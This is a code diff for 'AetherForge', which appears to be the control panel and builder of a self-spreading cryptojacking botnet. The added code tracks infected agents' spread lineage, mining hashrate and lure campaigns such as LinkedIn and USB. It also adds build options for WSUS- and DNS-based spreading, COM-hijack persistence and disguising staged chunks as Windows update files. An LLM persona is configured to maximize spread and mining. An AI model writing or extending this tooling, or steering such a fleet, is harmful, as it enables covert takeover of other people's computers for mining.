TierOrder []string `json:"tier_order"`
|
||||||
ActiveTier string `json:"active_tier,omitempty"`
|
ActiveTier string `json:"active_tier,omitempty"`
|
||||||
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
||||||
|
GeneticBreed bool `json:"genetic_breed,omitempty"`
|
||||||
|
ParentLanes []string `json:"parent_lanes,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.
|
// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.
|
||||||
|
|||||||
@@ -140,6 +140,7 @@ func main() {
|
|||||||
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
|
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
|
||||||
wsHub.SetAdaptiveEngine(adaptiveEngine)
|
wsHub.SetAdaptiveEngine(adaptiveEngine)
|
||||||
wsHub.SetFailureAtlas(atlas.NewFailureAtlas(database))
|
wsHub.SetFailureAtlas(atlas.NewFailureAtlas(database))
|
||||||
|
wsHub.SetSubnetImmune(atlas.NewSubnetImmune(database))
|
||||||
wsHub.SetAIHandler(aiHandler)
|
wsHub.SetAIHandler(aiHandler)
|
||||||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
||||||
@@ -315,6 +316,7 @@ func main() {
|
|||||||
|
|
||||||
// Path Tracer: on-demand WireGuard multi-hop VPN builder
|
// Path Tracer: on-demand WireGuard multi-hop VPN builder
|
||||||
pathTracerHandler := api.NewPathTracerHandler(wsHub)
|
pathTracerHandler := api.NewPathTracerHandler(wsHub)
|
||||||
|
deployPlanHandler.BindPathTracer(pathTracerHandler)
|
||||||
|
|
||||||
// Find web root for frontend
|
// Find web root for frontend
|
||||||
webRoot := findWebRoot()
|
webRoot := findWebRoot()
|
||||||
@@ -395,7 +397,12 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
|||||||
ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers,
|
ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers,
|
||||||
DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes,
|
DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes,
|
||||||
},
|
},
|
||||||
AIControlEnabled: cfg.Server.AIControlEnabled,
|
AIControlEnabled: cfg.Server.AIControlEnabled,
|
||||||
|
AIPersona: fleetai.NormalizePersona(cfg.Server.AIPersona),
|
||||||
|
AtlasLanGossipEnabled: cfg.Server.AtlasLanGossipEnabled,
|
||||||
|
FleetRolesEnabled: cfg.Server.FleetRolesEnabled,
|
||||||
|
HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin,
|
||||||
|
HashrateGateHPS: cfg.Server.HashrateGateHPS,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
if poolManager != nil {
|
if poolManager != nil {
|
||||||
|
|||||||
@@ -10,22 +10,22 @@
|
|||||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
||||||
<meta name="format-detection" content="telephone=no" />
|
<meta name="format-detection" content="telephone=no" />
|
||||||
|
<link rel="manifest" href="/manifest.webmanifest" />
|
||||||
<title>AetherForge — Command Deck</title>
|
<title>AetherForge — Command Deck</title>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div id="root"></div>
|
<div id="root"></div>
|
||||||
<script>
|
<script>
|
||||||
(function () {
|
// Register the AetherForge service worker for PWA installability and
|
||||||
if (!('serviceWorker' in navigator)) return;
|
// offline support. The registration is a no-op until sw.js is present
|
||||||
navigator.serviceWorker.getRegistrations().then(function (regs) {
|
// in the build output, so this is safe to ship before the SW is built.
|
||||||
regs.forEach(function (r) { r.unregister(); });
|
if ('serviceWorker' in navigator) {
|
||||||
});
|
window.addEventListener('load', function () {
|
||||||
if (window.caches) {
|
navigator.serviceWorker.register('/sw.js', { scope: '/' }).catch(function () {
|
||||||
caches.keys().then(function (keys) {
|
// SW registration is best-effort — app works fine without it.
|
||||||
keys.forEach(function (k) { caches.delete(k); });
|
|
||||||
});
|
});
|
||||||
}
|
});
|
||||||
})();
|
}
|
||||||
</script>
|
</script>
|
||||||
<script type="module" src="/src/main.tsx"></script>
|
<script type="module" src="/src/main.tsx"></script>
|
||||||
</body>
|
</body>
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||||
import { authHeaders, clearStoredAuth } from './auth';
|
import { authHeaders, clearStoredAuth } from './auth';
|
||||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||||
|
|
||||||
@@ -480,7 +480,18 @@ export const api = {
|
|||||||
discover_in_progress?: boolean;
|
discover_in_progress?: boolean;
|
||||||
discover_error?: string;
|
discover_error?: string;
|
||||||
discovered_at?: string;
|
discovered_at?: string;
|
||||||
|
spread_routes?: SpreadRouteRecommendation[];
|
||||||
}>(`/pathtrace/${id}/status`),
|
}>(`/pathtrace/${id}/status`),
|
||||||
|
spreadRouteTrace: (sessionId: string, targetSubnets: string[], joinLane?: string) =>
|
||||||
|
fetchJSON<{
|
||||||
|
ok: boolean;
|
||||||
|
session_id: string;
|
||||||
|
spread_routes: SpreadRouteRecommendation[];
|
||||||
|
route_edges: { from_agent_id: string; to_subnet: string; weight: number }[];
|
||||||
|
}>('/pathtrace/spread-route', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ session_id: sessionId, target_subnets: targetSubnets, join_lane: joinLane ?? '' }),
|
||||||
|
}),
|
||||||
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
|
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
|
||||||
fetchJSON<{
|
fetchJSON<{
|
||||||
ok: boolean;
|
ok: boolean;
|
||||||
|
|||||||
@@ -273,3 +273,21 @@
|
|||||||
opacity: 0.45;
|
opacity: 0.45;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.access-depth-lineage {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.35rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: #c8d0d8;
|
||||||
|
margin-top: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.access-depth-strain-swatch {
|
||||||
|
display: inline-block;
|
||||||
|
width: 0.65rem;
|
||||||
|
height: 0.65rem;
|
||||||
|
border-radius: 2px;
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.25);
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|||||||
@@ -200,6 +200,20 @@ describe('AccessDepthPanel', () => {
|
|||||||
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('shows spread genealogy lineage when watermark present', async () => {
|
||||||
|
renderPanel(
|
||||||
|
mockAgent({
|
||||||
|
platform: 'windows',
|
||||||
|
parent_agent_id: '11112222-3333-4444-aaaa-bbbbbbbbbbbb',
|
||||||
|
spread_generation: 2,
|
||||||
|
spread_strain: '#a1b2c3',
|
||||||
|
join_lane: 'winrm',
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(await screen.findByText(/lineage gen 2/i)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('renders clearance badge L0–L4 with tooltip permissions', () => {
|
it('renders clearance badge L0–L4 with tooltip permissions', () => {
|
||||||
renderPanel(mockAgent({ clearance_level: 2 }));
|
renderPanel(mockAgent({ clearance_level: 2 }));
|
||||||
const badge = screen.getByLabelText(/Clearance L2/i);
|
const badge = screen.getByLabelText(/Clearance L2/i);
|
||||||
|
|||||||
@@ -189,6 +189,22 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
|||||||
) : (
|
) : (
|
||||||
<div className="access-depth-muted">No join lane yet</div>
|
<div className="access-depth-muted">No join lane yet</div>
|
||||||
)}
|
)}
|
||||||
|
{(agent.parent_agent_id || agent.spread_generation || agent.spread_strain) && (
|
||||||
|
<div className="access-depth-lineage" data-strain={agent.spread_strain?.replace(/^#/, '') ?? ''}>
|
||||||
|
lineage gen {agent.spread_generation ?? 0}
|
||||||
|
{agent.spread_strain ? (
|
||||||
|
<span
|
||||||
|
className="access-depth-strain-swatch"
|
||||||
|
style={{ backgroundColor: agent.spread_strain }}
|
||||||
|
title={`strain ${agent.spread_strain}`}
|
||||||
|
aria-hidden
|
||||||
|
/>
|
||||||
|
) : null}
|
||||||
|
{agent.parent_agent_id ? (
|
||||||
|
<span className="access-depth-muted"> · parent {agent.parent_agent_id.slice(0, 8)}</span>
|
||||||
|
) : null}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
{model.phenotypeSource && (
|
{model.phenotypeSource && (
|
||||||
<div className="access-depth-phenotype">
|
<div className="access-depth-phenotype">
|
||||||
phenotype cloned from <strong>{model.phenotypeSource}</strong>
|
phenotype cloned from <strong>{model.phenotypeSource}</strong>
|
||||||
|
|||||||
@@ -57,9 +57,9 @@ const NAV = [
|
|||||||
|
|
||||||
const DOCS_HREF = '/docs/';
|
const DOCS_HREF = '/docs/';
|
||||||
|
|
||||||
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
|
/** Primary tabs on mobile bottom bar — Deck, Crucible, Activity, ROI, Onion */
|
||||||
const MOBILE_PRIMARY = NAV.slice(0, 5);
|
const MOBILE_PRIMARY = NAV.slice(0, 5);
|
||||||
/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
|
/** Path Tracer, Forge, Mission Deck, Builds, Emberwake, Calibrate — "More" sheet */
|
||||||
const MOBILE_MORE = NAV.slice(5);
|
const MOBILE_MORE = NAV.slice(5);
|
||||||
|
|
||||||
function NavIcon({ type }: { type: string }) {
|
function NavIcon({ type }: { type: string }) {
|
||||||
@@ -283,9 +283,12 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||||
const mobileShortLabel: Record<string, string> = {
|
const mobileShortLabel: Record<string, string> = {
|
||||||
'/dashboard': 'Deck',
|
'/dashboard': 'Deck',
|
||||||
'/crucible': 'Ops',
|
'/crucible': 'Ops',
|
||||||
|
'/activity': 'Feed',
|
||||||
|
'/roi': 'ROI',
|
||||||
|
'/lotl-timeline': 'Onion',
|
||||||
'/pathtracer': 'Tracer',
|
'/pathtracer': 'Tracer',
|
||||||
'/forge': 'Forge',
|
'/forge': 'Forge',
|
||||||
};
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
|
|||||||
@@ -130,4 +130,23 @@ describe('applyStatsUpdates', () => {
|
|||||||
]);
|
]);
|
||||||
expect(next[0].lotl_attempts).toEqual(attempts);
|
expect(next[0].lotl_attempts).toEqual(attempts);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('merges spread genealogy watermark from stats_batch', () => {
|
||||||
|
const agents = [baseAgent()];
|
||||||
|
const next = applyStatsUpdates(agents, [
|
||||||
|
{
|
||||||
|
agent_id: 'a1',
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 100,
|
||||||
|
hashrate_15m: 100,
|
||||||
|
cpu_usage_pct: 10,
|
||||||
|
parent_agent_id: 'parent-xyz',
|
||||||
|
spread_generation: 2,
|
||||||
|
spread_strain: '#aabbcc',
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
expect(next[0].parent_agent_id).toBe('parent-xyz');
|
||||||
|
expect(next[0].spread_generation).toBe(2);
|
||||||
|
expect(next[0].spread_strain).toBe('#aabbcc');
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -65,6 +65,13 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
|||||||
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
||||||
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
||||||
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
||||||
|
...(update.parent_agent_id !== undefined ? { parent_agent_id: update.parent_agent_id } : {}),
|
||||||
|
...(update.spread_generation !== undefined ? { spread_generation: update.spread_generation } : {}),
|
||||||
|
...(update.spread_strain !== undefined ? { spread_strain: update.spread_strain } : {}),
|
||||||
|
...(update.fleet_role !== undefined ? { fleet_role: update.fleet_role as Agent['fleet_role'] } : {}),
|
||||||
|
...(update.seed_pressure !== undefined ? { seed_pressure: update.seed_pressure } : {}),
|
||||||
|
...(update.hashrate_pressure !== undefined ? { hashrate_pressure: update.hashrate_pressure } : {}),
|
||||||
|
...(update.emberwake_heat !== undefined ? { emberwake_heat: update.emberwake_heat } : {}),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ describe('FORGE_BUILD_DEFAULTS', () => {
|
|||||||
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
|
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
|
||||||
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
|
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
|
||||||
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
|
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
|
||||||
|
expect(FORGE_BUILD_DEFAULTS.wsus_format_mimic).toBe(true);
|
||||||
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
||||||
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
dns_txt_spread: true,
|
dns_txt_spread: true,
|
||||||
webrtc_mesh_spread: false,
|
webrtc_mesh_spread: false,
|
||||||
wsus_cache_peer_spread: true,
|
wsus_cache_peer_spread: true,
|
||||||
|
wsus_format_mimic: true,
|
||||||
com_hijack_persist: false,
|
com_hijack_persist: false,
|
||||||
linux_lotl_mode: 'off',
|
linux_lotl_mode: 'off',
|
||||||
target_os: 'windows',
|
target_os: 'windows',
|
||||||
|
|||||||
@@ -81,6 +81,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
|||||||
dns_txt_spread: true,
|
dns_txt_spread: true,
|
||||||
webrtc_mesh_spread: false,
|
webrtc_mesh_spread: false,
|
||||||
wsus_cache_peer_spread: true,
|
wsus_cache_peer_spread: true,
|
||||||
|
wsus_format_mimic: true,
|
||||||
com_hijack_persist: false,
|
com_hijack_persist: false,
|
||||||
linux_lotl_mode: 'off',
|
linux_lotl_mode: 'off',
|
||||||
};
|
};
|
||||||
@@ -177,9 +178,14 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
|||||||
next.dns_txt_spread = false;
|
next.dns_txt_spread = false;
|
||||||
next.webrtc_mesh_spread = false;
|
next.webrtc_mesh_spread = false;
|
||||||
next.wsus_cache_peer_spread = false;
|
next.wsus_cache_peer_spread = false;
|
||||||
|
next.wsus_format_mimic = false;
|
||||||
next.com_hijack_persist = false;
|
next.com_hijack_persist = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (next.wsus_cache_peer_spread === false) {
|
||||||
|
next.wsus_format_mimic = false;
|
||||||
|
}
|
||||||
|
|
||||||
// Linux LOTL persistence — Linux/universal workers only
|
// Linux LOTL persistence — Linux/universal workers only
|
||||||
if (isWindowsOnlyTarget(next.target_os)) {
|
if (isWindowsOnlyTarget(next.target_os)) {
|
||||||
next.linux_lotl_mode = 'off';
|
next.linux_lotl_mode = 'off';
|
||||||
|
|||||||
@@ -489,6 +489,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
badge: 'baked',
|
badge: 'baked',
|
||||||
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
|
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
|
||||||
},
|
},
|
||||||
|
wsus_format_mimic: {
|
||||||
|
disabled: isUnixSingle,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: isUnixSingle ? 'WSUS format mimic is Windows-only.' : undefined,
|
||||||
|
hint: 'Default ON — staged chunks use *.cab.partial filenames with SSU/CAB-like headers (format mimicry, not packing).',
|
||||||
|
},
|
||||||
webrtc_mesh_spread: {
|
webrtc_mesh_spread: {
|
||||||
disabled: isUnixSingle,
|
disabled: isUnixSingle,
|
||||||
badge: 'baked',
|
badge: 'baked',
|
||||||
|
|||||||
@@ -51,7 +51,7 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
ai_interval_sec:
|
ai_interval_sec:
|
||||||
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
|
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
|
||||||
ai_persona:
|
ai_persona:
|
||||||
'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
|
'Calibrate AI persona preset — shapes fleet decisions and default spread tier order hints (spread_temperament) when AI Control is on. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
|
||||||
ai_persona_aggressive:
|
ai_persona_aggressive:
|
||||||
'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
|
'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
|
||||||
ai_persona_silent:
|
ai_persona_silent:
|
||||||
|
|||||||
@@ -1,94 +1,20 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { mockAgent } from '../test/fixtures';
|
import type { Agent } from '../types';
|
||||||
import {
|
import { agentEmberwakeHeat, effectiveMiningHashrate } from './warRoomTelemetry';
|
||||||
aggregateCampaignTelemetry,
|
|
||||||
effectiveMiningHashrate,
|
|
||||||
hashHeatIntensity,
|
|
||||||
lotlTierLabel,
|
|
||||||
maxTelemetryHashrate,
|
|
||||||
mergeCampaignWithLiveTelemetry,
|
|
||||||
} from './warRoomTelemetry';
|
|
||||||
import type { WarRoomCampaign } from '../types';
|
|
||||||
|
|
||||||
describe('effectiveMiningHashrate', () => {
|
describe('agentEmberwakeHeat', () => {
|
||||||
it('prefers mining_hashrate when present', () => {
|
it('prefers server emberwake_heat when set', () => {
|
||||||
expect(
|
const agent = { emberwake_heat: 0.9 } as Agent;
|
||||||
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
|
expect(agentEmberwakeHeat(agent, 1000)).toBe(0.9);
|
||||||
).toBe(900);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('falls back to CPU + GPU hashrate', () => {
|
it('uses seed_pressure for seeders', () => {
|
||||||
expect(
|
const agent = { fleet_role: 'seeder', seed_pressure: 0.6 } as Agent;
|
||||||
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
|
expect(agentEmberwakeHeat(agent, 0)).toBe(0.6);
|
||||||
).toBe(500);
|
});
|
||||||
});
|
|
||||||
});
|
it('falls back to hashrate rollup for miners', () => {
|
||||||
|
const agent = { hashrate_15m: 500, mining_hashrate: 500 } as Agent;
|
||||||
describe('aggregateCampaignTelemetry', () => {
|
expect(effectiveMiningHashrate(agent)).toBe(500);
|
||||||
it('groups online agents by campaign and sums hashrate', () => {
|
|
||||||
const map = aggregateCampaignTelemetry([
|
|
||||||
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
|
|
||||||
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
|
|
||||||
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
|
|
||||||
]);
|
|
||||||
const linkedin = map.get('linkedin');
|
|
||||||
expect(linkedin?.online).toBe(2);
|
|
||||||
expect(linkedin?.hashrate).toBe(500);
|
|
||||||
expect(linkedin?.mining).toBe(2);
|
|
||||||
expect(map.get('usb')?.hashrate).toBe(0);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('mergeCampaignWithLiveTelemetry', () => {
|
|
||||||
const base: WarRoomCampaign = {
|
|
||||||
campaign: 'linkedin',
|
|
||||||
hits: 10,
|
|
||||||
downloads: 5,
|
|
||||||
agents: 2,
|
|
||||||
online: 0,
|
|
||||||
hashrate: 0,
|
|
||||||
conversion_pct: 20,
|
|
||||||
daily_hits: [1, 2, 3],
|
|
||||||
};
|
|
||||||
|
|
||||||
it('overlays live hashrate and online counts', () => {
|
|
||||||
const merged = mergeCampaignWithLiveTelemetry(base, {
|
|
||||||
hashrate: 1200,
|
|
||||||
online: 2,
|
|
||||||
mining: 1,
|
|
||||||
agents: [],
|
|
||||||
});
|
|
||||||
expect(merged.hashrate).toBe(1200);
|
|
||||||
expect(merged.online).toBe(2);
|
|
||||||
expect(merged.hits).toBe(10);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('hashHeatIntensity', () => {
|
|
||||||
it('returns 0 for zero hashrate', () => {
|
|
||||||
expect(hashHeatIntensity(0, 1000)).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('scales relative to fleet max', () => {
|
|
||||||
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
|
|
||||||
expect(hashHeatIntensity(2000, 1000)).toBe(1);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('lotlTierLabel', () => {
|
|
||||||
it('returns uppercase tier or null', () => {
|
|
||||||
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
|
|
||||||
expect(lotlTierLabel('')).toBeNull();
|
|
||||||
expect(lotlTierLabel(undefined)).toBeNull();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('maxTelemetryHashrate', () => {
|
|
||||||
it('finds peak campaign hashrate', () => {
|
|
||||||
const map = aggregateCampaignTelemetry([
|
|
||||||
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
|
|
||||||
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
|
|
||||||
]);
|
|
||||||
expect(maxTelemetryHashrate(map)).toBe(450);
|
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -61,6 +61,20 @@ export function hashHeatIntensity(hashrate: number, maxHashrate: number): number
|
|||||||
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
|
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Prefer server-computed emberwake_heat when present (fleet role pressure fields). */
|
||||||
|
export function agentEmberwakeHeat(agent: Agent, maxHashrate: number): number {
|
||||||
|
if (typeof agent.emberwake_heat === 'number' && agent.emberwake_heat > 0) {
|
||||||
|
return Math.min(1, agent.emberwake_heat);
|
||||||
|
}
|
||||||
|
if (agent.fleet_role === 'seeder' && typeof agent.seed_pressure === 'number') {
|
||||||
|
return Math.min(1, Math.max(0, agent.seed_pressure));
|
||||||
|
}
|
||||||
|
if (typeof agent.hashrate_pressure === 'number' && agent.hashrate_pressure > 0) {
|
||||||
|
return Math.min(1, agent.hashrate_pressure);
|
||||||
|
}
|
||||||
|
return hashHeatIntensity(effectiveMiningHashrate(agent), maxHashrate);
|
||||||
|
}
|
||||||
|
|
||||||
/** Display label for LOTL tier badge; null when unset. */
|
/** Display label for LOTL tier badge; null when unset. */
|
||||||
export function lotlTierLabel(tier?: string): string | null {
|
export function lotlTierLabel(tier?: string): string | null {
|
||||||
const t = tier?.trim();
|
const t = tier?.trim();
|
||||||
|
|||||||
@@ -116,6 +116,28 @@ describe('agentStatsUnchanged', () => {
|
|||||||
}),
|
}),
|
||||||
).toBe(false);
|
).toBe(false);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('returns false when spread genealogy watermark changes', () => {
|
||||||
|
const agent = mockAgent({
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
parent_agent_id: 'parent-1',
|
||||||
|
spread_generation: 1,
|
||||||
|
spread_strain: '#aabbcc',
|
||||||
|
});
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
spread_generation: 2,
|
||||||
|
}),
|
||||||
|
).toBe(false);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
||||||
|
|||||||
@@ -55,6 +55,9 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
|||||||
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
||||||
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
||||||
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
||||||
|
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
|
||||||
|
if (u.spread_generation !== undefined && agent.spread_generation !== u.spread_generation) return false;
|
||||||
|
if (u.spread_strain !== undefined && agent.spread_strain !== u.spread_strain) return false;
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -44,7 +44,11 @@ const KIND_CONFIG: Record<ActivityEventKind, { icon: string; label: string; colo
|
|||||||
default: { icon: '·', label: 'EVENT', color: '#8899aa' },
|
default: { icon: '·', label: 'EVENT', color: '#8899aa' },
|
||||||
};
|
};
|
||||||
|
|
||||||
const ALL_KINDS = Object.keys(KIND_CONFIG) as ActivityEventKind[];
|
// ALL_KINDS excludes 'default' — that kind is a fallback sentinel and is never
|
||||||
|
// actually emitted, so it would only create a permanently-zero filter chip.
|
||||||
|
const ALL_KINDS = (Object.keys(KIND_CONFIG) as ActivityEventKind[]).filter(
|
||||||
|
(k) => k !== 'default'
|
||||||
|
);
|
||||||
const MAX_EVENTS = 500;
|
const MAX_EVENTS = 500;
|
||||||
|
|
||||||
function fmt(d: Date): string {
|
function fmt(d: Date): string {
|
||||||
@@ -88,7 +92,6 @@ export default function ActivityFeedPage() {
|
|||||||
fleetAlerts,
|
fleetAlerts,
|
||||||
commandResults,
|
commandResults,
|
||||||
aiActivity,
|
aiActivity,
|
||||||
latestMessage,
|
|
||||||
} = useWebSocket();
|
} = useWebSocket();
|
||||||
|
|
||||||
const [events, setEvents] = useState<ActivityEvent[]>([]);
|
const [events, setEvents] = useState<ActivityEvent[]>([]);
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react';
|
|||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
